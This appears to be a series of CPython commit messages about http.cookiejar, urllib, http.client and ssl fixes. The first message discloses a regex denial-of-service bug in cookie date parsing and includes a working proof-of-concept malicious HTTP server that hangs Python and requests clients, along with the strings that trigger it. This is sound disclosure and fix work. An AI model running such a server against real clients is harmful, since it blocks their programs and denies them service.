The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) GH- Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) GH- Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 GH- Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): GH- Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bfb85)
Co-authored-by: bcaller <bcaller@users.noreply.github.com>
* bpo-38216: Allow bypassing input validation
* bpo-36274: Also allow the URL encoding to be overridden.
* bpo-38216, bpo-36274: Add tests demonstrating a hook for overriding validation, test demonstrating override encoding, and a test to capture expectation of the interface for the URL.
* Call with skip_host to avoid tripping on the host checking in the URL.
* Remove obsolete comment.
* Make _prepare_path_encoding its own attr.
This makes overriding just that simpler.
Also, don't use the := operator to make backporting easier.
* Add a news entry.
* _prepare_path_encoding -> _encode_prepared_path()
* Once again separate the path validation and request encoding, drastically simplifying the behavior. Drop the guarantee that all processing happens in _prepare_path..
(cherry picked from commit 7774d7831e)
Co-authored-by: Jason R. Coombs <jaraco@jaraco.com>
* [3.7] bpo-12144: Handle cookies with expires attribute in CookieJar.make_cookies (GH-13921)
Handle time comparison for cookies with `expires` attribute when `CookieJar.make_cookies` is called.
Co-authored-by: Demian Brecht <demianbrecht@gmail.com>
https://bugs.python.org/issue12144
Automerge-Triggered-By: @asvetlov
(cherry picked from commit bb41147)
Co-authored-by: Xtreak <tir.karthi@gmail.com>
* Use warnings module instead of test.support.check_no_warnings
* [3.7] bpo-12144: Handle cookies with expires attribute in CookieJar.make_cookies (GH-13921)
Handle time comparison for cookies with `expires` attribute when `CookieJar.make_cookies` is called.
Co-authored-by: Demian Brecht <demianbrecht@gmail.com>
https://bugs.python.org/issue12144
Automerge-Triggered-By: @asvetlov.
(cherry picked from commit bb41147eab)
Co-authored-by: Xtreak <tir.karthi@gmail.com>
Permanent redirect was explained as a temporary redirect.
(cherry picked from commit 5c72badd06)
Co-authored-by: Florian Wendelborn <1133858+FlorianWendelborn@users.noreply.github.com>
Disallow control chars in http URLs in urllib.urlopen. This addresses a potential security problem for applications that do not sanity check their URLs where http request headers could be injected.
Disable https related urllib tests on a build without ssl (GH-13032)
These tests require an SSL enabled build. Skip these tests when python is built without SSL to fix test failures.
Use http.client.InvalidURL instead of ValueError as the new error case's exception. (GH-13044)
Backport Co-Authored-By: Miro Hrončok <miro@hroncok.cz>
* Refactor cookie path check as per RFC 6265
* Add tests for prefix match of path
* Add news entry
* Fix set_ok_path and refactor tests
* Use slice for last letter
(cherry picked from commit 0e1f1f0105)
Co-authored-by: Xtreak <tir.karthi@gmail.com>
Don't send cookies of domain A without Domain attribute to domain B when domain A is a suffix match of domain B while using a cookiejar with `http.cookiejar.DefaultCookiePolicy` policy. Patch by Karthikeyan Singaravelan.
(cherry picked from commit ca7fe50635)
Co-authored-by: Xtreak <tir.karthi@gmail.com>
with debuglevel=1 only the header keys got printed. With
this change the header values get printed as well and the single
header entries get '\n' as a separator.
(cherry picked from commit 936f03e7fa)
Co-authored-by: Marco Strigl <mstrigl@suse.com>
* [3.7] bpo-31639: Change ThreadedHTTPServer to ThreadingHTTPServer class name (GH-7195).
(cherry picked from commit 1cee216cf3)
* Fix whatsnew entry about ThreadedHTTPServer. (GH-7220)
(cherry picked from commit a34e424bdb)
bpo-31399: Let OpenSSL verify hostname and IP
The ssl module now uses OpenSSL's X509_VERIFY_PARAM_set1_host() and
X509_VERIFY_PARAM_set1_ip() API to verify hostname and IP addresses.
* Remove match_hostname calls
* Check for libssl with set1_host, libssl must provide X509_VERIFY_PARAM_set1_host()
* Add documentation for OpenSSL 1.0.2 requirement
* Don't support OpenSSL special mode with a leading dot, e.g. ".example.org" matches "www.example.org". It's not standard conform.
* Add hostname_checks_common_name
Signed-off-by: Christian Heimes <christian@python.org>
* Fix multiple typos in code comments
* Add spacing in comments (test_logging.py, test_math.py)
* Fix spaces at the beginning of comments in test_logging.py
blocksize was hardcoded to 8192, preventing efficient upload when using
file-like body. Add blocksize argument to __init__, so users can
configure the blocksize to fit their needs.
I tested this uploading data from /dev/zero to a web server dropping the
received data, to test the overhead of the HTTPConnection.send() with a
file-like object.
Here is an example 10g upload with the default buffer size (8192):
$ time ~/src/cpython/release/python upload-httplib.py 10 https://localhost:8000/
Uploaded 10.00g in 17.53 seconds (584.00m/s)
real 0m17.574s
user 0m8.887s
sys 0m5.971s
Same with 512k blocksize:
$ time ~/src/cpython/release/python upload-httplib.py 10 https://localhost:8000/
Uploaded 10.00g in 6.60 seconds (1551.15m/s)
real 0m6.641s
user 0m3.426s
sys 0m2.162s
In real world usage the difference will be smaller, depending on the
local and remote storage and the network.
See https://github.com/nirs/http-bench for more info.
* bpo-28707: call the constructor of SimpleHTTPRequestHandler in the test with a mock object
* bpo-28707: Add the directory parameter to http.server.SimpleHTTPRequestHandler and http.server module
The deprecation include manual creation of SSLSocket and certfile/keyfile
(or similar) in ftplib, httplib, imaplib, smtplib, poplib and urllib.
ssl.wrap_socket() is not marked as deprecated yet.
The previous attempt to determine the file’s Content-Length gave a false
positive for pipes on Windows.
Also, drop the special case for sending zero-length iterable bodies.
When the body object is a file, its size is no longer determined with
fstat(), since that can report the wrong result (e.g. reading from a pipe).
Instead, determine the size using seek(), or fall back to chunked encoding
for unseekable files.
Also, change the logic for detecting text files to check for TextIOBase
inheritance, rather than inspecting the “mode” attribute, which may not
exist (e.g. BytesIO and StringIO). The Content-Length for text files is no
longer determined ahead of time, because the original logic could have been
wrong depending on the codec and newline translation settings.
Patch by Demian Brecht and Rolf Krahl, with a few tweaks by me.